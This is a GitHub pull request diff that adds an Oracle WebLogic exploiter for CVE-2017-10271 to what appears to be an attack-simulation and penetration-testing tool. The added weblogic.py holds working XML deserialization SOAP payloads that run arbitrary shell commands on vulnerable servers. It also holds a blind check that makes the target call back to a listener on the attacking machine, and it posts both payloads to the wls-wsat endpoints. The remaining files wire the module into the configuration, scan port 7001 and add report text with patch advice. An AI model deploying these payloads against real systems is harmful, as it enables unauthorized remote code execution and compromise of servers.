Merge pull request #180 from VakarisZ/WebLogic_with_framework

Web logic with framework
This commit is contained in:
itaymmguardicore 2018-08-29 17:02:14 +03:00 committed by GitHub
commit 91c37cc68f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 259 additions and 11 deletions

View File

@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, Struts2Exploiter # multi
ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
]
# how many victims to look for in a single scan iteration
@ -191,7 +191,8 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
8008, # HTTP alternate
8008, # HTTP alternate
7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
2222,

View File

@ -37,7 +37,8 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter"
"Struts2Exploiter",
"WebLogicExploiter"
],
"finger_classes": [
"SSHFinger",
@ -87,7 +88,8 @@
443,
3306,
8008,
9200
9200,
7001
],
"timeout_between_iterations": 10,
"use_file_logging": true,

View File

@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter
from weblogic import WebLogicExploiter

View File

@ -0,0 +1,197 @@
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
# and
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
from requests import post, exceptions
from web_rce import WebRCE
from exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
REQUEST_TIMEOUT = 2
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe',
'win64': 'monkey64.exe'})
def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = URLS
return exploit_config
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
else:
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
print('[!] Connection Error')
print(e)
return True
def check_if_exploitable(self, url):
# Server might get response faster than it starts listening to it, we need a lock
httpd, lock = self._start_http_server()
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
try:
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
except exceptions.ReadTimeout:
# Our request does not get response thus we get ReadTimeout error
pass
except Exception as e:
LOG.error("Something went wrong: %s" % e)
self._stop_http_server(httpd, lock)
return httpd.get_requests > 0
def _start_http_server(self):
"""
Starts custom http server that waits for GET requests
:return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
"""
lock = threading.Lock()
local_port = get_free_tcp_port()
local_ip = get_interface_to_target(self.host.ip_addr)
httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
lock.acquire()
httpd.start()
lock.acquire()
return httpd, lock
def _stop_http_server(self, httpd, lock):
lock.release()
httpd.join(SERVER_TIMEOUT)
httpd.stop()
@staticmethod
def get_exploit_payload(cmd_base, cmd_opt, command):
"""
Formats the payload used in exploiting weblogic servers
:param cmd_base: What command prompt to use eg. cmd
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
:param command: command itself
:return: Formatted payload
"""
empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>{cmd_base}</string>
</void>
<void index="1">
<string>{cmd_opt}</string>
</void>
<void index="2">
<string>{cmd_payload}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload
@staticmethod
def get_test_payload(ip, port):
"""
Gets payload used for testing whether weblogic server is vulnerable
:param ip: Server's IP
:param port: Server's port
:return: Formatted payload
"""
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://{host}:{port}</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
payload = generic_check_payload.format(host=ip, port=port)
return payload
class IndicationHTTPServer(threading.Thread):
"""
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, lock, max_requests=1):
self._local_ip = local_ip
self._local_port = local_port
self.get_requests = 0
self.max_requests = max_requests
self._stopped = False
self.lock = lock
threading.Thread.__init__(self)
self.daemon = True
def run(self):
class S(BaseHTTPRequestHandler):
@staticmethod
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self._local_ip, self._local_port), S)
httpd.daemon = True
self.lock.release()
while not self._stopped and self.get_requests < self.max_requests:
httpd.handle_request()
self._stopped = True
return httpd
def stop(self):
self._stopped = True

View File

@ -86,6 +86,13 @@ SCHEMA = {
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
}
]
},
@ -626,7 +633,8 @@ SCHEMA = {
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter"
"Struts2Exploiter",
"WebLogicExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
@ -761,7 +769,8 @@ SCHEMA = {
80,
8080,
443,
8008
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
@ -783,7 +792,8 @@ SCHEMA = {
443,
8008,
3306,
9200
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},

View File

@ -30,7 +30,8 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter'
'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic exploiter'
}
class ISSUES_DICT(Enum):
@ -43,6 +44,7 @@ class ReportService:
AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
WEBLOGIC = 9
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -298,6 +300,12 @@ class ReportService:
processed_exploit['type'] = 'struts2'
return processed_exploit
@staticmethod
def process_weblogic_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'weblogic'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -310,7 +318,8 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit
'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -430,6 +439,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

View File

@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent {
CONFICKER: 5,
AZURE: 6,
STOLEN_SSH_KEYS: 7,
STRUTS2: 8
STRUTS2: 8,
WEBLOGIC: 9
};
Warning =
@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
<li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
</ul>
</div>
:
@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent {
);
}
generateWebLogicIssue(issue) {
return (
<li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
critical patch updates.</a> Or change server version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
(subcomponent: WLS Security).
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => {
@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent {
case 'struts2':
data = this.generateStruts2Issue(issue);
break;
case 'weblogic':
data = this.generateWebLogicIssue(issue);
break;
}
return data;
};